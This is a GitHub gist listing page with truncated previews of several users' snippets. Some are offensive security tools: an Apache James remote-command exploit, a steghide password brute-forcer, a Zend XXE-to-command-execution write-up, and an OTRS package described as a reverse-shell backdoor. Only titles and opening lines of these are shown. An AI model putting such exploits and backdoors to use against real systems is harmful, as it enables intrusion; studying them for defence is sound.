Skip to content

Instantly share code, notes, and snippets.

View r3k2's full-sized avatar
🏠
on SourceHut sr.ht I do not push to github

CF_ReK2 r3k2

🏠
on SourceHut sr.ht I do not push to github
  • CyberSecurity, Hacker, Pentester, DevSecOps
  • Barcelona, Madrid , San Francisco, Boston CyberSpace
View GitHub Profile
@coreyward
coreyward / README
Created October 14, 2010 21:52
Ruby wrapper to `mysqldump`. Intended to make setting up automatic cronjob backups easier by avoiding bash scripting.
Usage:
ruby mysql_backup.rb db:name [user:your_username] \
[password:your_password] \
[host:your_hostname] \
[file:output_file.sql]
Feel free to use, improve, etc. I'm new to Ruby, so excuse anything that makes your palm slap your forehead. ;)
@sandeepl337
sandeepl337 / gist:dc2ed37d8e405dc4d667484efd7657f0
Created June 5, 2016 04:07
An exploit for Apache James 2.3.2 that executes remote commands
""".
This script works on Apache James deployments using the default configuration.
It creates a new user and enqueues a payload to be executed the next time a user
logs in to the machine.
For more details, see: https://www.exploit-db.com/exploits/35513/.
"""
import gflags
@r3k2
r3k2 / StegBrute.rb
Last active November 22, 2017 11:21
Brute force steganography passwords
#!/bin/env ruby
# Hispgatos
# by ReK2, Fernandez Chris
# https://keybase.io/cfernandez
# Bruteforce password protected documents hidden inside images
# add you dictionary below to the dic variable
# of course you need to have installed steghide
require 'open3'
This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
into a Remote Command Execution:
NOTE: It relies on the PHP expect module being loaded
(see http://de.php.net/manual/en/book.expect.php)
joern@vbox-1:/tmp$ cat /var/www/server.php
<?
require_once("/usr/share/php/libzend-framework-php/Zend/Loader/Autoloader.php");
Zend_Loader_Autoloader::getInstance();
@aji
aji / msgsay.py
Last active March 19, 2018 07:36
WeeChat script to run private messages through a text to speech program, though theoretically other uses are possible
import weechat
hist = {}
histlen = 32
# [head, ..., tail]
queue = []
def enqueue(msg):
global queue
if msg is None:
@mgeeky
mgeeky / MyPackage.opm
Last active May 30, 2018 17:17
OTRS OPM backdoored Package with Reverse Shell
<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
<Name>MyModule</Name>
<Version>1.0.0</Version>
<Vendor>My Module</Vendor>
<URL>http://otrs.org/</URL>
<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
<Description Lang="en">MyModule</Description>
<Framework>5.x.x</Framework>
@eofs
eofs / master
Last active April 10, 2019 14:02
Remove keys of disconnected Saltstack minions
# Enable "presence" events
# - http://docs.saltstack.com/en/latest/ref/configuration/master.html#presence-events
# - http://docs.saltstack.com/en/latest/topics/event/master_events.html#presence-events
presence_events: True
reactor:
# Note: This tag has a typo in it (version 2014.1.5), subject to change!
- 'salt/presense/change':
- /srv/reactor/presence.sls
@LiveOverflow
LiveOverflow / zwiebel.py
Created October 8, 2016 08:35
TUM CTF 2016
import sys
import r2pipe
r2 = r2pipe.open("./zwiebel2")
r2.cmd("e dbg.profile=zwiebel.rr2")
r2.cmd("doo") # reopen for debugging
r2.cmd("db 0x400875") # set breakpoint at `call r14`
r2.cmd("dc") # continue until breakpoint is hit
def step():
@kevinquillen
kevinquillen / README.md
Created June 2, 2013 21:25
Reddit Widget for Dashing

Preview

Description

Took a little inspiration from the News widget to construct this Reddit widget. Simply add the subreddit .json feed URLs that you want to the top of the reddit.rb job script, and the widget will cycle through each one, showing top posts, their score, and comment count. You can also set the maxcount higher or lower, the default is 5 posts.

##Usage

@Plazmaz
Plazmaz / netcat-webserver.sh
Last active May 7, 2021 02:08
A one-liner for a netcat webserver w/ sane logging
#! /bin/bash
sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done'
# Original (no sudo):
# while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done
# Raw (Skip filtering header lines):
# sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80; done'